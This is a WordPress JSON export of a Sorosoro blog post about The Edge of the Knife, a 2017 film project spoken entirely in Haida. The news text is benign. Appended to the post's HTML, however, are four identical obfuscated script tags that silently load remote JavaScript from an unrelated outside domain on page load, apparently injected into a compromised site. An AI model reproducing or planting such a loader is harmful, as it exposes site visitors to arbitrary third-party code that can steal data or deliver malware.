{"id":70086,"date":"2017-01-26T11:44:24","date_gmt":"2017-01-26T10:44:24","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=70086\/"},"modified":"2025-10-21T21:53:05","modified_gmt":"2025-10-21T19:53:05","slug":"january-24-2017-a-canadian-movie-entirely-spoken-in-the-haida-language","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2017\/01\/january-24-2017-a-canadian-movie-entirely-spoken-in-the-haida-language\/","title":{"rendered":"January 24, 2017 : A canadian movie spoken entirely in the Haida language"},"content":{"rendered":"<div style=\"width: 327px\" class=\"wp-caption alignleft\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/pbs.twimg.com\/media\/Cym0Ma_WQAAksDk.jpg\" width=\"317\" height=\"211\" \/><p class=\"wp-caption-text\">The cast of The Edge of the Knife, made up only of actors from the Haida community !<\/p><\/div>\n<p lang=\"zxx\">The canadian producers behind the famous movie <strong><em><a href=\"http:\/\/www.imdb.com\/title\/tt0285441\/\">Atanarjuat, the fast runner<\/a><\/em><\/strong>,\u00a0\u00a0in which the cast spoke only the\u00a0Inuktitut language, recently partnered with the <strong>Haida<\/strong> First Nation of Canada\u00a0for a new movie project.<\/p>\n<p lang=\"zxx\">In <em><strong>The Edge of the Knife<\/strong><\/em>, we will follow the adventures of <em>Gaagiixid<\/em> or <em>Gaagiid<\/em>, the survivor of a disaster at sea, in 19th century Canada. The movie will be written, directed and performed entirely in the two main dialects of Haida, a language with only 24 remaining native speakers living on the archipelago of Haida Gwaii, on the west coast of Canada<\/p>\n<p lang=\"zxx\">All the actors are members of the Haida community and have learned or relearned the language of their ancestors for this occasion. Co-director <strong>Gwaai Edenshaw<\/strong> said that the opportunity of promotion the Haida language was the main reason why more and more people were getting involved in this project.<\/p>\n<p lang=\"zxx\">The movie is supported, among others, by\u00a0<a href=\"https:\/\/www.isuma.tv\/kingulliit\/about-kingulliit\">Kingulliit Productions<\/a>, a company that has been working for 30 years for the promotion of indigenous languages and cultures in Canada, mainly the Inuit culture.<\/p>\n<p lang=\"zxx\">The filming of <em>The Edge of the Knife<\/em> will begin in May and we can expect the movie to be out in theatres by 2018 !<\/p>\n<p lang=\"zxx\">Check out the <a href=\"https:\/\/www.facebook.com\/edgeoftheknifemovie\/\">facebook page <\/a> of the project for more informations.<\/p>\n<p><a href=\"http:\/\/www.cbc.ca\/news\/canada\/british-columbia\/the-fast-runner-haida-film-1.3935746\">Click here to read the complete article from\u00a0<em>CBC news<\/em>.<\/a><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The canadian producers behind the famous movie Atanarjuat, the fast runner,\u00a0\u00a0in which the cast spoke only the\u00a0Inuktitut language, recently partnered with the Haida First Nation of Canada\u00a0for a new movie project. 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